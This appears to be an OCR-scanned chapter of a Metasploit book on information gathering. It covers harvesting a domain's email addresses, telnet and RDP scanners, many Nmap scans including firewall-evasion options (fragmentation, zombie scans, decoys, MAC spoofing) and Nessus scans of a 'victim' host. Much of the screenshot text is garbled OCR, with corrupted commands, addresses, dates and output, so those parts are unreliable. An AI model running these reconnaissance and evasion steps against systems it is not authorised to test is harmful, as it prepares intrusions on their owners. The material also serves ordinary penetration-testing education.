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For using the e-mail collector auxiliary module type in use auxiliary/gather/
search_email_collector.

auxiliary/gather/search email :nllectnrl
lary(search emall collector) » I

ar

Piadule opliven faanilisry/getie  vearch euil colle o]

Nine LUPreal SRTTing Mequired Description

DaMAIN ¥k The doman naest Lo Locale eaall addr
T
B LLL R & frlensms To sTofe Tas =snarsted sy

Enaile Bong at a bachiesd searth angl
Lnable Google as & oackesd search =g

Enably Yahoo! a5 a ackend search el

mokiliaryi I ATEY
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We can see that the domain is blank and we have to set the domain address. So
just type in set domain <domain name>; for example, we are using set domain
techaditya. in here.

ms f

domain => techaditya.in

¥

5

-

auxiliarys:

= _er,had_ 'qra J.I'i
Mpcl 2ary | search_email_cellector) =[rum]

| Harwes™ing emad” 5
| Searching Goog.e for enai’ addresses from Sachadisya. in

Exzracting enal.s Trom Goog.e search resu.ts...

*] Seaiching Bing emal’, addienses Tron echadl.ya.ln

=] Freracting omaits from Ring search resui™s

| Searching Yahoo Tor emal’. addresses fron TachadiTva. in
| ExtracTing L'-I‘-H. § Tron Yahoo search resu.Ts. ..

“] Lota.ed 2 Hm aldresses Tor Lechadiova,in

=] Mgl .La':r nodu.e m:u"r.m ConpeTed

aunliary!search emall collector) =

el 1':".I rh ematl ealleemar) » S0 dofain “rrl'n.'!}":m in

With these steps, we have gathered a lot of information publicly available about

our victim.
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Active Information Gathering

Now let us move on to some active information gathering for exploitation of our
victim. Another useful auxiliary scanner is the telnet version scanner. To use this,
type in use auxiliary/scanner/telnet/telnet_version

mef = [use auxiliary/scanner/telnet/telnet version |
sf auxiliary{telnet wversion) = []

After that type in show options to see the available options.

et o usiliargaecanasr TR anTaTAl AT Srretan
1l Ailiarytelnel version) »

odale splions fawiliary/scamner/Lelnel/ Leloel_vereiond:z

51 Larrent DeTting lequirsd  Moristisa
%3, A 58 13 The pmaward far the specified usernams
AAIETE | The Largel address ramge o SION Jdeuld
fier
W i3 yeg I%e TRFISL B3FT
THRE&3S 1 yES Tae numoer af cascurrent threads
TINESST 13 FEs Tiveaul fur Lie Teluel wrobe
IRFRALH= k] THE Esrasat I Seilffcnriesth 6%
34f  suxitisrglieloet_version) = ]
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We can see that the RHOSTS option is empty and we have set the target IP address
for scanning the telnet version, so type in set RHOSTS<target IP address>.
For example, here we type set RHOSTS 192.168.0.103, and after that type in
run for scanning.

maf auxiliary{telnet version) > set RMOSTS 192_ 168.8.183
RHOSTS =» 192.1885.0. 163
msf auxiliary({telnet verslon) = run

[*] 192.168.0.183:23 TELMEY Welcome to Microsoft Telnet Service ‘wBa\x@a\xBdlogin:
| Seanmed 1 of 1 hests (100% complete)
| Auxiliary module execution completed
auxilisry(telnet_version) > [

Our victim has been scanned and we can see the telnet version of his machine.

Another scanner we would use for finding out whether a Remote Desktop
connection (RDP) is available is the RDP scanner. But for this purpose, we have
to know the port number for the Remote Desktop connection, which is 3389, also
known as the RDP port. Type in use auxiliary/scanner/rdp/ms12_020_check
and then show options to see the detailed options for usage.

»|use auxiliaryfecanner/rap/asil 820 check
kil iary[ [

ule options {amiiliaryscanner/rdp/msl? 020 check):

Rane Current Setting FRequlired Descriptlon
CONCURRENCY 18 s The number of concurrent ports ta check per host
|F¢IP|T"5 1- 10000 EE Parts to iEﬂIIItE.E. zz-zs,m.lm-mml

515 Y The tarpet address range or 1dentifier
THREADS 1 a5 The number ot concurrent threads
TIHEOUT & The socket conmect Limeout in milliseconds
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We can see the options and the ports which are predefined from 1-10000. We do not
need to scan all ports, so we define the port number on which RDP runs by default.
After this, we set the RHOST as our target address. Type in set PORTS 3389 and
press Enter, then type set RHOST 192.168.11.46.

msf = use auxiliary/scanner/rdp/msl? 828 check
msf auxiliary(mslZ 020 check) :Iset PORTS _HEBI

PORTS => 3389

msf auxiliary(msl2 020 check) > set [RHOSTS 192.1'53.11.-16]
RHOSTS == 1592.168.11.46

Once we have all the options set, type in run.

msf auxiliaryimslz 020 check) >

[+]1{192.168.11.46:3389 - TCP OPENM |

[*] Scanned 1 of 1 hosts (180% complete)
*] Auxiliary module execution completed

(*]
mst

auxiliary(ms12_020_check) > [

We can see in the result that TCP port 3389, which is used for Remote Desktop
connection, is open.

Working with Nmap

Nmap is a powerful security scanner developed by Gordon Lyon, and is used for
host, service, and open ports detection on a computer network. It has many features
such as stealth scan, aggressive scan, firewall evasion scan, and has the ability to
fingerprint operating systems. It has its own Nmap Scripting Engine, which can be
used along with the Lua programming language to write the customized scripts.

We start from basic techniques on Nmap scanning using Metasploit.
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Scanning a single target —running Nmap with no command options will perform
a basic scan on the target address. The target can be given as an IPV4 address or
its hostname. Let's see how it works. Open terminal or msfconsole, and type
nmap <target>, for example, nmap 192.168.11.29.

msf =f nmap

=] exec: nmap 192 168.11.29

Starting Nmap 3.515VW [ hitp://msap.org | at 2013-802-22 10:39 IST

fmap scan report for exploita-823651 (192.168.11.29)
Host is up [(0.0805%9% Latency).

PORT STATE SERVICE

237/tcp open telnet

135/tcp open mErpc

138/tcp open netbios-ssn

44%/tcp open microsoft-ds

MAC Address: QB:08:27:37:61:F4 (Cadmius Computer Systenms)

Nmap done: 1 IP address (1 host upl scanned in 2.23 seconds

The scan result shows the status of detected ports on the target. The result is
classified into three different columns namely PORT, STATE, and SERVICE. PORT
column shows the port number, the STATE column shows the status of the port,
whether it is open or closed, and the SERVICE shows the type of service that is
running on that port.

The response of the ports are classified into six different status messages which are:
open, close, filtered, unfiltered, open filtered, and closed filtered.
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The following are some different types of Nmap scan options for scanning
multiple hosts:

* Scanning multiple targets: Nmap scans for multiple hosts at the same time.
The easiest way to do this is by putting all the targets in a string separated by
a space. Type in nmap <Target Target>, for example, nmap 192.168.11.46
192.168.11.29.

#.11.42 152.1L8.11.29
- e . ) . W

Clatling hrap 5.515%K € bllp:/fiwap.org | 4. 20013-82-22 11117 IS8T
KEE[E S0ar frperT for BRAGEN (199,188, 11. 441

1Cst 15 up (E.CEIEE Letercy).

kot showr; 984 tilteres ports

FCAT STOTE SERVICE

ii%rrep epen ESTpr

1Meer  cpen rerhicy-sin

443/t5E  cEef  microscti-cE

JERTSLLE wpen  doslep

RIRGYTCR pprn ES TErE 50w

4444/t cpen mrEsda

[PAL Addressi JE:28:F9:E0iELES (Lnknown |

hEnp drar eopert for capleito 223A001 D102 16A.11.30)
EELSE LEtantyl.

! SERYIC
PRATCR epen Telaer
1I5/ECE Cpen FSTEE
138/84c cpan  retbics-ser
A8 riley wpen plorgsgll-ds
FAC AArfSar GEeRN: AP E7181 R (Cndnus CoRpirer SysToms

krap ccre: 2 IF sgoresses (2 Foats wpi scanned in 12,70 seconds

We can see the results for both the IP addresses.

* Scanning a list of targets: Suppose we have a large number of target
computers to scan. Then the easiest way to scan all the targets would be by
putting all the targets in a text file. We just need to separate all targets by a
new line or space. For example, here we have created a list named list. txt.
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list.txt — KWW rite

Now for scanning the whole list, type in nmap —iL <list.txt>. Here, the syntax
—iL is used to instruct Nmap to extract the list of targets from the list.txt, for
example, nmap —iL list.txt.

gl »lowep =L frogl/Cesalyplisl, &.
[=] ewFr: NEAL 11 FPORT/LERARRLZNI% .~ X

ShetLing heap 331506 € Dllpidtimap.org ¢ 4. 2013-02-22 11:58 IST
WESE Sfan eepacr far caplairs FR3600 (197 16R.11.29)
LLEELEE Lamency).

relnet

115 REE ECan REFEE

138/%<E cger netbics-s6n

A8 g upwn Bhofusull-da

FAF AnArrsst RR:RE137:97:61:74 (Caimus CompuTtr SWATIES )

TA[ 5220 repCrt for CRAGLK (192, 108.1L.46¢
Fusl is up (E.EEE97s ldl!l_f'll.

hul showiiz 984 Millered porls

FCET TTATF TERYITF

VLIS FRLE CEen FEFEC

1397%cg cper retbics-san

A9/ wpenl mdorgsull-ds

FEEGAEen apen Acslap

1308/ tep CEer  ESstermegary

44444k ce cpen  WrED24

POL Mudress: 3E:S0:F9 50 EL €S (Luknowni

hEEp 3cen repert fer BYi. dedl. 00.50

Focst 15 up (€.€125 Llatency).

hul shuwiiz 998 lused purls

FORT  CTATE SEFYICE

LHICE Cpen oCcEeln

gE/tep cpen http

Frf Mudress: € Mi19:56:38:E3 (ko Hal Piecislom Imd, Co.H
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We now move on to the various Nmap discovery options. So how does Nmap
actually work? Whenever Nmap performs a scan, it delivers an ICMP echo request
to the destination for checking whether the host is alive or dead. This process saves
much time for Nmap when it scans multiple hosts at a time. Sometimes ICMP
requests are blocked by firewalls, so as a secondary check Nmap tries to connect to
default open ports, such as 80 and 443, which are used by the web server or HTTP.

Nmap discovery options

Now we will move on to various Nmap command options, which can be used for
host discovery on a scenario basis.

Feature Option

Don't Ping -PN
Perform a Ping Only Scan -sp

TCP SYN Ping -PS

TCP ACK Ping -PA

UDP Ping -PU

SCTP INIT Ping -PY
ICMP Echo Ping -PE

ICMP Timestamp Ping -PP

ICMP Addess Mask Ping -PM

IP Protocol Ping -PO

ARP Ping -PR
Traceroute --traceroute
Force Reverse DNS Resolution -R
Disable Reverse DNS Resolution -n
Alternative DNS Look Up --system-dns
Manually Specify DNS Server{5} --dns-servers
Create a Host List -sL

In the previous screenshot we can see all the scanning options available in Nmap.
Let us test a few, since the complete coverage of commands is beyond the scope of
this book.

* Ping only scan: This scan is used for finding the live hosts in a network. For
executing the ping only scan, we use the command nmap —sP <Target>; for
example, here we set nmap —sP 192.168.11.2-60.
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[*) rue=: nnap  SF VOF, VEE. NN F AR

That Litg Whap 23058 | BLLEs/fnmdpazig b al 2B13-35-32 13137 IET
WS Afan repart fer B (12 A1 T“:ui

#-21E0F1 (191.253. 11390

Mow CEQPEEDE DEERIZATIETICLIFA (CHINSE DOROGTRF SYETRRE)
A scan renart for ERAER (193, VAR V1. 64)
H5T 1% U

pabsElphd | k¥
L Ll rr.url rL.I 19%. 1€8.11.57

TakcLs LB9% a) freciildn 353, To.)
Nk s I: acc'e:|ei {4 Fosts up) scaaned 34 103 sechnds)

In the result we see that four hosts are up. So this scan saves time for performing a
scan in a large network, and identifies all the live hosts, leaving the inactive ones.

* TCP ACK ping: This scan sends TCP ACK packets to the target. This method
is used to discover hosts by collecting TCP responses from hosts (depends on
TCP three-way handshake). When ICMP requests are blocked by the firewall,
this method is useful for gathering information. For performing this scan, we
use the command nmap —PA <target>; for example, here we set nmap —PA
192.168.11.46.

nsf = |nMap -PA 192 16E.11.46

[=] exec: nmap -

tarting Mmap 5.515VH [ http://nmap.org | at 2813-82-22 13:14 IST
ap scan report for DRAGON (192.168.11.44)
ost 15 up (9.80097s latency).
filtered parts
SERVICE
msrpc
L¥/ftcp - netblos-sEn
45/ tcp n microsoft-ds
9/tcp open icslap
IIE9/TLD opén M5 -Térm-Sery
dddftep apen  krb524
L Addresst 38:50:F9:5C-E1:65 (Unkonown )

ap done: 1 IP address (1 host up) scanned 1A 4.93 Seonds
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* ICMP echo ping: This option sends ICMP requests to the target for checking
whether the host replies or not. This type of scan works best on the local
network where ICMP packets are easily transmitted over the network. But
many hosts do not respond to ICMP packet requests for security reasons. The
command for this option is nmap —PE 192.168.11.46.

mhl »|mas -Fl WD, 168 1].-46
' 0

[*] eNsti RS 152 LIE8. 1] 4%

Starting Wwap 5. 50T ¢ ®EtpoSrrmss ooy | oot SEEN-E0-EY LR:36 QAT
hmAp wols FRperT Por DRUASON | D99, D400 00860
Fanl Ui = (0. 0018 Yateniy)

peat phowm: B84 filtered ports

JrchT FTATE SERvICE

HS75te el nrps

LIRTEEE Soaes nelbhiol-ERm

S Lo e mltronefl-d

S8BB tep apes  lialap

JINRSLop uel  mY-LerE-LRry

E T SDEn B4

il Asdress: 083 POSEAEE6S s )

pmnn done: | IF ssdoeas (0 host ol scanned 1 1233 wecomls

* Force reverse DNS resolution: This scan is useful for performing
reconnaissance on a target. Nmap will try to resolve the reverse DNS
information of the target address. It reveals juicy information about the target
IP address as you can see in the following screenshot. The command we
used for scanning is nmap —R <Target>; for example, here we set nmap —R
66.147.244.90.

Sl LT B b |
[®] ewrry rrap B OAE14Y.244.50

Elerlirg hedp 5.905%% | Dllg:ffreap.uig § 4. DOLD-0E-23 13:44 IST
kper sear eepnet fer Pes?E bluekoss oo T8ANAT 284 %0

llﬂ” i wp C1. 05 Getarcyl.

kit Ehewry SEE ralkarad corin

FCRT  ST09% SERWLLE
}frep eper frp
JTFEEE  EpEF 1 5¥
AIrkcg eper  sefp
AL wpk 1allp
RESFTE. EFFF FTIE
LILFECE CEEF EEE L
I1irtce clemee avtr

B Y RNy ST LhaL
4435 °F wpre RYERS
qELFLCE Cper WEES
WYEFtCE cpar LFACE
FRifLleE win ila

LEEE dede: | LHF SEEfeld [0 Bedt opi dcanmsd I 149 14 deconds
Ll |
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Nmap advanced scanning options

Now let us see some advanced scanning options. These are mainly used for

bypassing firewall and finding services that are not common. The list of options are
shown in the following screenshot:

feature Option
TCF %N Sacam =%

TCP Commasct Scan a7

LUDP Soan =51

TCH Mull Scan “aM

TCP Fin Scan oF

KImias Scan -5X

TCH ALK Scam T
Cusbom TCR Scan scanilags
IP Protoosl Scan 50

e Haw Fthemat Fackats ]
Sl 1P Packeds wrrl-ip

We will explain some of them as follows:

TCP SYN scan: TCP SYN scan attempts to identify ports by sending a SYN
packet to the target and waiting for a response. A SYN packet is basically

sent to indicate that a new connection is to be established. This type of

scan is also known as the stealth scan because it does not attempt to open
a full-fledged connection to the remote host. For performing this scan, we
use the command nmap —sS <target>; for example, here we are using

nmap —sS 192.168.0.104.

nitf >[AE3p ¥

(=] enec: nmag -35

Starting Meap 3.505WN [ http://neap.org ) ot 2013-02-22 20:15 IST

152, 168.5. 104

Mmap scan repart for 192.163.0. 164
Host is wp {0.0011s latency).
Mot showhi: 996 closed parts
FORT STATE SERVICE

13/TCp  Gpen
135/tcp open
139/tCp open
445 /1Cp open

telnet

BSTPC
nEthblos-55n
microsoft-ds

MAC Address: @8:00:237:57:61:F4 (Cadous Computer Systems)

t 1 TP address [1 host up) scanned in 3.83 seconds
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* TCP null scan: This type of scan sends packets without TCP flags enabled.
This is done by setting the header to zero. This type of scan is used for
fooling a firewalled system in getting a response from them. The command
for null scan is nmap —sN <target>; for example, here we are using nmap —
sN 192.168.0.103.

5T »|nmap -sN LQ-IDE.D.M

[*] exec: naap -5 68,6, 183

Starting Mmap 5.515VN ( http://neap.org ]| at 2013-82-22 20:25 15T
nap scan repart for 192.188.0.103

o5t 15 up (6.8185 latency),
1008 scanned parts on 192.168.9.103 are open|filtered
L Address: C4:46:19:%E:38:E3 (Hon Hail Precision Ind. Co.

Inap din-e: 1 IF address (1 host up) scanned in 34.51 seconds
if >

* Custom TCP scan: This type of scan performs a custom scan using one or
more TCP header flags. Any combination of flags can be used in this scan.
The various types of TCP flags are shown in the following figure:

Flag Usage
SYN Synchronize
ACK Acknowledgement
PSH Push
LIRG Urgent
R5T Reset
FIN Finished
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Any combination of these flags can be used with this scan. The command used is
nmap —scanflags SYNURG <target>; for example, here we set nmap —scanflags

SYNURG 192.168.0.102.

Starting Mmap 3,305 [ hitpr/inmap.org | at 2813-82-12 20:57 157

Nmap scan report for 192 168.0. 102
Host i4 up (0.0088%% latency).
Not shown: %94 filtered ports

PORT STATE SERVICE
135/tcp opeh BEFPE

13%/Tcp  open
4457TCp  open
JREL/LEE S
1389/ TCp open
ddd4d/ tep open
MAC Address:

teslap

krbd2d

Raap done

netbhlos-sin
microsoft-ds

og-Tern-gery

JryE: FRIBELIGS (Umkngwn )

1 IP address (1 host wp)] scammed in 23.39 seconds

Port scanning options

Next we move on to some more scanning techniques for specific ports, a range of
ports, and port scanning based on protocols, names, and so on.

Feature
Perform a Fast Scan
Scan Specific Ports
Scan Ports by Name
Scan Ports by Protocol
Scan All Ports
Scan Top Ports

Perform a Sequential Port Scan

Option
-F
-p (port)
-P (name]}
-p U:{UDP Ports), T:{TCP Ports)
_pII¢II
--top-ports
-r
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Fast scan: In this scan, Nmap does a quick scan for only 100 ports out of the
1000 most common ports. Thus, the Nmap scanning speed gets tremendously
increased by reducing the number of ports during the scan. The command
used for fast scan is nmap —F <Target >; for example, here we are using
nmap —F 192.168.11.46.

nmap -F 192.168.11.46

Starting MWeap 5.515WN ( http://neap.org } at 2013-82-23 18:37 IST
Monap scan report for DRAGON (192.168.11.46)

Host is up (0.027s latency).

Mot shown: 96 filtered poris

FORT STATE SERVICE

133/tcp open msrpd

139/tep open netblos-s5sn

445/tcp open microsoft-ds

3389/tcp ocpen  mi-lerm-sSery

MAC Address: 38:59:F9:5C:EL:65 (Unknown)

Knap dlnnt: 1 IP address {1 host up) scanmed in B.81 seconds
msf >

Scan ports by name: Scanning ports by name is very easy and we just have
to specify the port name during the scan. The command used is nmap —p
(portname) <target>; for example, here we are using nmap —p http
192.168.11.57.

nmag -p http 192. 168.11.57
w3 THSgl - i 2 o, i

tarting Meap 5.515¥N | http:// rnmap.org ) at 2813-82-23 l@:42 IST
ap scan report for 192, 168.11.57
pst is up (0,011s latency).
STATE RYICE
i open  |http
BobE/top closed |RTtp
AC Address: C4:46:19:5E:38:E3 (Hon Hali Precision Ind. Co.)

A dint: 1 1P addrecs {1 host up] scanned in 0.28 seconds
sl =
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* Performing a sequential port scan: With the help of the sequential port
scanner, Nmap scans its target by a sequential port order. This technique
is quite useful for evading firewall and Intrusion Prevention System. The
command used is nmap —r <target>; for example, here we are using nmap
—r 192.168.11.46.

5 or [6d, 11,46
| exec:; nmap -r 192.168.11.48

Starting Mmap 5.515WM | http://nmap.org | at 20013-82-23 11:18 IST
Neap scan report for DRAGDM (192.168.11.48)
a5t 1% up (8,00635 latency)
Mot shown: 984 filtered ports
PORT STATE SERYICE
135/kch open mErpe
1¥/tcp open  netbios-ssn
445/0cp open microsoft-ds
oper,  icslap
open  ms-term-sery
open kros2d

We sometimes face problems when we receive filtered port results while scanning,.
This case arises when a system is protected by a firewall or Intrusion prevention
systems. Nmap has some features that help to bypass these protection mechanisms
as well. We have listed a few options in the following table:

Feature Options
Fragment Packets -f
Specify a Specific MTU --mtu
Use a Decoy -D
Idle Zombie Scan -sl
Manually Specify a Source Port --source-port
Append Random Data --data-length
Randomize Target Scan Order  --randomize-hosts|
Spoof MAC Address --spoof-mac
Send Bad Checksums --badsums
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We will explain some of them as follows:

* Fragment Packets: By using this option, Nmap sends very small 8 byte
packets. This option is very useful for evading improperly configured
firewall systems. The command used is nmap —f <target>; for example,
here we are using nmap —f 192.168.11.29.

Starting Mmap 5.515WN | hbtp://msap.erg | &t 20013-092-23 12:30 IST
Nsap scan report for exploita-B23691 (192.168.11.29)
Hastl 46 up (089125 latency).

Not shown! 997 filtered ports

PORT ETATE SEPWICE

139/tcp open  nethios-ssn

#45/tcp open  microsoft-ds

J389/1cp closed me-Term-gery

MAC Address: BB;80:37:57:011F4 [Cadsus Computer Systemi)

* Idle Zombie Scan: This is a very unique scanning technique in which Nmap
uses a zombie host for scanning the target. It means, here Nmap uses two IP
addresses for performing a scan. The command used is nmap —sl <Zombie
host> <Target>; for example, here we are using nmap —sl 192.168.11.29
192.168.11.46.

TIT =lrmsn -90 AYJ. led. 1L 3%

BEE _I5U. 11, 8%
1*] sxgss NEBR -0 NG, !

" Ll

2R

WAANTAG: Manyg Deaple usr  re wrTdlaacan 1A preesar piage from rac
i True I Jn the Cther Fere, TIWANG ANTS VNGO J8inE TrOW DARIE £
#h SLLEw Tar taster, wcre reliable fcéni.

Eparpicn wesn 5. 9)1€yk ( BYPEessnman nrg ) Af SH1% 02 2% 12035 JET
dls §2&R ofind BewEle IVI_Lel. 1L J09 (334.15%9 11 JorEsij Classex L
Trrgrarinl
Bl L@t TEl
=asf 1% op (A 009085 Iaterey) .

SOl BREwn s closea|Tiltered party
FOET ETETE SERVICE

1334 el bty PafEL

1897 ApAA AFTEIAY A4F

Him sty spen wicrésoft-ox

JBCE/tcp 2pen ACElag

FI83 Loy woen  rsclerme-ser

Lt Pl O T b h#k9ag

WAL AfOresRsr FR ST RiELILEIex {uUndcnoien)

wman dener 1 1P sddress (L1 Fesl ow) stanmed in 22.31 seconds
Tl =
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* Spoof MAC Address: This technique is useful when a firewalled-system
detects a scanning process via the system's MAC address, and blacklists
those MAC addresses. But Nmap has a feature of spoofing MAC addresses.
MAC addresses can be spoofed via three different arguments, which are
listed in the following screenshot:

Argument Function
0 {Zero) Generates Random MAC Addess
Specific Mac Address Uses the Specified MAC Address

Generates a MAC Addess from
the specidied Vendor [such as
Vendor Name Apple, Dell, HP etc)

The command used for this is nmap —spoof-mac <Argument> <Target>; for
example, here we are using nmap —spoof-mac Apple 192.168.11.29.

z 8T -Pn --spoof-mac Apple 192.168,11.29
Br: NBan - | — gl e, 11,

-Ea TiLEE

i : -02-23 14:47 15T
MAC address B0:83:93:7F:55:27 (Apple Computer

i an report for exploita-B823691 (192.168.11.29)
o5t 15 up {0.B@5Es latency).
ot shown: 996 closed poris
L LTATE SERVICE
open  Telnet
Asrpe
nethins-55n
$45/tcp opén microsoft-ds

ap done: 1 IP address (1 host up) scanned in 1.75 seconds
psf >
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After learning different types of scanning techniques, next we move on to how we
can save the Nmap output results in various ways and formats. The options are
listed in the following figure:

Feature Option
Save Output to a Text File -oN
Save Qutput to a XML File -oX
Grepable Output -0G
Output All Supported File Types -0A
Periodically Display Statistics --stats-every
133t Qutput -05

Let us save an Nmap output result in an XML file. The command used is nmap —
oX <scan.xml> <Target>; for example, here we are using nmap —oN scan.txt
192.168.11.46.

- 3canbd - K -te x =)
Lile 1dr Wisw osls  setdsge (isn
Unes foocen [diove [fsevers € oose Lpds  »
¥ chost starttoneatlii Glattls snct- gz="] 3001 2023 et atus .'-hf:=='E
caddress acefr=f 19, IHL 1 45" mS g fe="1pWE" >
waddress godr=f28:30 PO SCiEL 653 acdrigpe="mac™ o=
5 s Lndmess
shostname -ane="[RACON' twp:z="FTR". e
= 'hast nansss =
W <portSs<eXLraports soatt="filzored' cou-t="253 =
rpplraresmumn ceasL =0 - e pOp s’ Loy L= 30T A
:,’nrhﬁ'urlth
POt Z701ZCol="2¢" POrtod="_35"M<STale STTe="0po" ' rFiassi="Z¥
“pui L plovel-" o' purl_d=""35 'gexlalp wlale="ups ' redsci= =ym
sport :cotzcele'sc:' fporteds"d4s 'dostale stete="ope-' rzas:n='zym
apart ccatsral-tmes port d. Al postale ata e~ ofFN" rEasIn-"ay
Aport oeticel="TC1" pportid="3380 p<otate stato="0pIn" Foacon="5Y
eporl - wilowel=" ol ur Ld="04¢ 1enlale wla.o-"open” resson-"xy
sport ofzcols o portods 5357 ustale stase="opsn" reason="5y
a part s -
afimes srit="116." =TTvi-="30E" To="LlO03EQ /=

# Al [=
¥ «runstate~timished <in:z="13C0012023" 4imest =" 35T =eb I3 1C ]3.#

PREY

— = AT
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Working with Nessus

Nessus is a proprietary vulnerability scanner, which is available freely for
noncommercial usage. It detects vulnerabilities, misconfigurations, default
credentials on target systems, and is used in various compliance audits as well.

For starting Nessus in Metasploit, open msfconsole and type load nessus.

=| B85 exploils 452 auxiliary - 135 posl
e == =-m]| 346 payloads - 27 encoders - & nops
=] &vn rl4805 updated 388 days ago (2012.82.33)

fWarning: This copy of the Melasploil Fromework was lost wpdated 36
We recommend that you opdate the framework at least every
other day.
For information on wpdating vour copy of Melasploit, plea
LE LEE;

hitps:///community. rapld? . com/docs /DOC- 1304

pal > Load nessus

%] Wessus Bridge for Metasploit 1.1
Type nessus_halp for a command listing

1*] Successfully loaded plugin: nessus
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Let us use the Nessus help command by typing nessus_help.

Fi gl i Bagkire b B LEiy i 0
=g R

1*]

Cowaand Felp Text

FEEms e e e FrmrEEE e

il i - il o i e i . o - il el -

deier AL comestide
Mogin Camainds
Alicy [awands
lagarts Lommands
a0 Crwands
Jugr Comaands

nansis Adwin rhecks Af uaer i5 a0 admin

nE350s cannsct LEMMECT ©C & MeRsLE ferver

neEguE_tind targets Try tc fard wulrerable Cargess Trom & fepors
idstub_hiely bislivy of dueileble iwssus vommamds

naesns Tagoat ageat frem The Frasus scrver

negens olugin deraile List cetails ¢f & particular plugin

Jessus plugin faswily _ist plugirs ir & Femily

eseus plugin lisl Bisplaps wach plogiv Tanily and _he ounber o plog
ins

=gsus_palicy d=1 Delete & pelicy

ngssus_palicy list List 2Ll peloiles

masbus_reuur L_gel [eputl & regurl Drue Lhe pessus servel in Hessus
7 farmg

We have a list of various Nessus command-line options. Next we connect to Nessus
from our localhost for starting the scans. For connecting to localhost, the command
used is nessus_connect <Your Username>:<Your Password>@localhost:8834
<ok>, and here we are using nessus_connect hacker:toor@localhost:8834 ok
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View  Baokmian . ’
mef =|nassus connect hacker:Toor@localhost: 8834 ok
[*] Connecting to HLTpS://l0CALNOSE:GAF4/ &% TACKEr
{*] Authenticated

2zt > ]

After getting successfully connected to Nessus on its default port, we will now check
the Nessus scanning policies. For this, we type in nessus_policy_list.

=|nessus policy List
MeEtus Policy List

my T

I Maee Comment s

=1 External Metwork Scan
-2 TImternal Network Scan
3 Web App Tests

4 Prepare for PCI-D5S audits (section 11.2.2)

msf > ]

Here we can see four policies of Nessus; the first is external network scan, which is
used for scanning network vulnerabilities externally. The second is internal network
scan, which is used for scanning network vulnerabilities internally. The third is Web
App Tests, which is used for scanning web application for vulnerabilities. The fourth
one is PCI-DSS (Payment Card Industry-data Security Standard) audits, which is
used in the Payment Card Industry as the data security standard.
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Now we are going to scan our victim machine. For scanning a machine we have

to create a new scan, and the command used is nessus_new_scan <policy 1D>
<scan name> <Target IP>; for example, here we are using nessus_new_scan -2
WindowsXPscan 192.168.0.103.

MESSUs SCan new 1 mnl:h:rusxPs:an 192.168.0.103
. MiowsiPscan” and scanning
started uui is dt-ﬁs!h& III:B E-hla 729e-9c92e239160c 0104562881093

We can check the status of the scanning process by typing in nessus_scan_status;
it will show us the status of the scanning process, whether it has completed or not.

s iD L erw  Glarled TLelan | Curfenl Hosis Tetal texis
IR » e L - TP AT TR DO T TR I OO Rl EPTCE  hAINET  [NiM0 PeL TR PELD | reeniing| @ 1

i T
Irgort Beanus mesert fo crbsbae AT MEpOTE Ak TR T
Faad & FEORN B L AET I 2 R

After completing the scanning process, now it is time to check for the report list, so
type in nessus_report_list.

Mars ISTATUS Date

[dc458305 - 2208 - 6b La- T204- BoOdea FULBCCI0 1ad0e 20810900 | WindowiiPEcan -:mlt'ra-: 20:00 Feb 26 2013

|®=] oo Cnj
[= Get a list of hosts from the report: nessus report hosts «report ide
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We can see the report with its ID. Its Status is marked as completed. For opening
the report we use the command nessus_report_hosts <report 1D>; for
example, here we are using nessus_report_hosts dc4583b5-22b8-6bla-729e-
9c92ee3916cc301e45e2881¢c93dd.

mif o nesses repart Reats dodSA0HY- X70A - EhLa - T7%e- SO Tee 180 Ac o 3] a4 52 2RN 1 c $nd
Report SATH

Mot tname Sewirity Sev B Sev 1 Sew I Savw 1 |{wrrent Pregréde  Total Progreti

192 .I68.8.183 41 i 28 1 L) a7 37

=1 OTol oa=

L BT InferEAT1iEN BioE & pRITEEULAT Bl il Fepart RadY perTd

st = )

In the previous screenshot, we can see the result for the machine with the IP
192.168.0.103 that has a total severity of 41. This means the total number of
vulnerabilities is 41.

The following are the classifications of the different vulnerabilities:

* Sev 0 indicates high-level vulnerabilities, which are 4

¢ Sev 1 indicates medium-level vulnerabilities, which are 28
* Sev 2 indicates low-level vulnerabilities, which are 4

* Sev 3 indicates informational vulnerabilities, which are 9

We may see the vulnerabilities in detail with the protocol name and services
using the command nessus_report_hosts_ports <Target IP> <Report ID>;
for example, here we are using nessus_report_host_ports 192.168.0.103
dc4583b5-22b8-6bla-729e-9¢c92ee3916cc301e45e2881c93dd.

if =|netiud report hoit portd 193, 16E.6. 18Y dc458105-2208-Ghla- T20e- BCoCeadloc N0 ledSa2in]lcalad |

gengral
general
general
telnet
ntp

netbios-ny
sub
cifs

e e e O
s g ot et il i il

=
£ 09000090
SRR R R R

1
1
i
1
|
G A
|
1
3
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Report importing in Metasploit

Importing a report of vulnerability scanners into the Metasploit database is a very
useful feature provided by Metasploit. In this chapter, we used two scanners, which
are Nmap and Nessus. We already saw the various scanning techniques of Nmap
used in different circumstances. Now we will see how to import an Nmap report via
msfconsole in PostgreSQL database.

Scan any host and save the Nmap report in XML format because msfconsole does
not support TXT format. So here we already have a scan report in XML format
named scan.xml. Now the first thing we have to do is to check the database for
connectivity with the msfconsole using the command db_status.

Our database is connected with msfconsole and now it's time to import the Nmap
report. We use the command db_import <report path with name>; for example,
here we are importing our report from the desktop, so we are giving db_import /
root/Desktop/scan.xml.

X . B ik Fat 5 e =
[=] pus.giesg. connel.ed o s Jdey
T »|dh impn— freo”Mesk-apfsran. = |
impor-ing HWmap AL OA.a

Imporz: Parsing with 'Nex: Parser: :HnapdMLSzreamParser
Inporiing host 192.168.0.102
Sucess Tully inpor ced S1oo L SDesk oopd scan,

>
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After successfully importing the report into the database, we may access it from
msfconsole. We can see the host details by typing host <hostname on which nmap
scan performed>; for example, here we are using host 192.168.0.102.

name o5 name os flavor o5 sp purpose

192.168.0.102 28:59:F9:5C:E1:65 Microsoft wWindows 7 deyice

Here we have some important information about the host such as the MAC address
and the operating system version. Now after selecting the hosts, let us check for the
open port details and the services running on those ports. The command used is

services <hostname>; for example, here we are using services 192.168.0.102.

Seryices

| i1 14 parT  proto  namse state AInfo

L2 1es 0. 182 135 L {4} i rpc open Micresalt Windows RPC
192 165, 0,102 139 tep nethins-15n  open
Lo2. 188 . 0.102 445 tep nethiod-198  Open

192 188, 0.102 2865 tcp http open  Microsoft WTTPRRT hotpd 200 SSD@/fUPnP

197188 6. 102 1388 ftcp By -Term-SErY  open

192 188 8,103 4444 Rcp http e Apache Ritpd 2.4.2 (Winld| OpenSSl/1.0.1C PHPS . 4.4
192.188.8.188 3387 Rcp nttp open Hicrosoft HTTPART httpd 2.0 S50P/UPHP

What we have here is all the information of open ports and services running on
